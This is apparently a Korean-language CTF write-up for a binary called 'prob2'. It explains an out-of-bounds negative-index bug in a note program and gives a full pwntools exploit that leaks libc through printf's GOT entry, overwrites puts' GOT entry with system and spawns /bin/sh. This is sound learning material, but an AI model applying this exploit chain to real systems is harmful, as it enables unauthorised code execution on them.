hanbunny 2025. 4. 17. 16:59

보호기법

카나리, NX, PIE 있음.

IDA분석

v5가 unsigned로 지정돼 있어서 view와 write에서는 음수인덱스까지 입력 가능하기 때문에 oob발생 가능.

view함수를 보면

edit함수를 보면

32바이트까지 받아주고 &note[32 * a1]에 저장을 해줌

 

전략1

1_view에서 got주소를 찾아서 libc leak해주고 system함수 찾음

3_exit에서 puts 함수를 got overwrite로 system함수로 바꿔준 후 실행되게?

그럼 Bye는 어떻게함 안에 문자열도 바꿔줘야함.

2_write에서 binsh를 입력해줄 수 있게 해봄.

전략 2

1_view에서 got주소를 찾아서 libc leak해주고 system함수 찾음

2_write에서 binsh를 입력해줄 수 있게 해봄.

1_view에서 puts로 인덱스 값을 출력해주기 때문에 안에 binsh를 넣고 got overwrite로 puts_got를 시스템함수 주소로 바꿔줌.

 

프로그램 실행

View에서 인덱스를 -5를 선택했을때 이상한 값들이 나옴.

Exploit

1. libc 릭 (wirte & view)

-5를 넣었을때 보여주는 주소값 안을 봄.

printf의 got를 찾을 수 있는데  -> 0x5555555573e0 (printf_got) 

0x5555555573e0 (printf_got) = & 0x555555557460[32 * a1]           // 0x555555557460(note)

a1 = -4 

-> printf_got 위치는 인덱스 -4 위치이다.

 

그럼 printf_got로 뭘 할 수 있나. 어케 릭할거임.?

puts에서 인자값으로 printf_got를 받으면 printf의 실제주소가 출력된다.

 

디버깅을 해 -4 인덱스를 선택했을때 rdi에 printf가 있는지 다시 확인해봄. printf_got가 들어있음.

근데 puts는 널값까지만 출력하는데 주소의 끝이 00이라서 나머지가 출력안됨.

그래서 write에서 -4인덱스 \x04를 넣어서 마지막 바이트만 4로 바꿔줌.

***  leaked = p.recv()로 한 번만 받아줬을 때 스페이스값만 출력이 돼서 한번 더 p.recv(6)으로 받아줌.

이제 주소까지 받아줬고 system 주소계산하고 write로 /bin/sh 넣어줄거.

 

2. system 주소 계산

3.write

 

 

/bin/sh 문자열을 넣어줄건데 write에서 인덱스를 지정해주면 read로 받아줌.

그리고 &note[200 * a1] 이 위치에 저장시킨다.

 

인덱스 1을 지정했을 때 0x555555557528 여기에 저장됨.

인덱스 1에다 넣어줬는데 이상한 값이랑 같이 섞여서 다른 인덱스로 지정해줌.

인덱스 3일 때 0x5555555576b8 에 잘 저장됐는지 확인됨.

 

4. 최종 Exploit

이제 마지막 puts가 실행되기 전에 got overwrite로 주소 바꿔주면됨.

set *0x55e0ae2033c8(puts_got) = 0x7ff21f43c750(system_addr)

 

 

from pwn import *

p = process('./prob2')
#p = remote('home.osori.site',25252)
e = ELF('./prob2')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

#context.log_level = 'debug'
# 1. 주소 마지막 1바이트 변환
data = b'\x04'
p.sendlineafter(b'>',b'2')
p.sendlineafter(b'idx?',b'-4')
p.send(data)

# 2. view로 주소 받아주기
p.sendlineafter(b'>',b'1')
p.sendlineafter(b'idx?',b'-4')
leaked = p.recv()
leaked = p.recv(6)
#print(f"[+] Raw leak: {leaked.hex()}")

# 3. 패딩해서 printf 실제 주소 출력
leaked = leaked.ljust(8, b'\x00')
printf_addr = u64(leaked) - 4
print(f"[+] Leaked address: {hex(printf_addr)}")

# 4. system 함수 주소 계산
libc_base = printf_addr - libc.symbols['printf']
print(f"[+] libc_base: {hex(libc_base)}")
system_addr = libc_base + libc.symbols['system']
print(f"[+] system_addr : {hex(system_addr)}")

# 5. binsh 주소에 넣어주기
data = b'/bin/sh'
index3 = 0x5555555576b8
p.sendlineafter(b'>',b'2')
p.sendlineafter(b'idx?',b'3')
p.sendline(data)

#got overwrite
dummy = b'aaaaaaaa'
p.sendlineafter(b'>',b'2')
p.sendlineafter(b'idx?', b'-5')
p.sendline(dummy + p64(system_addr))

#pause()
# 6. Exploit
p.sendlineafter(b'>', b'1')
p.sendlineafter(b'idx?',b'3')


p.interactive()

 

주말동안 할거

fsb 문제풀기

비트연산 공부

 

 

nc

docker써야함

libc database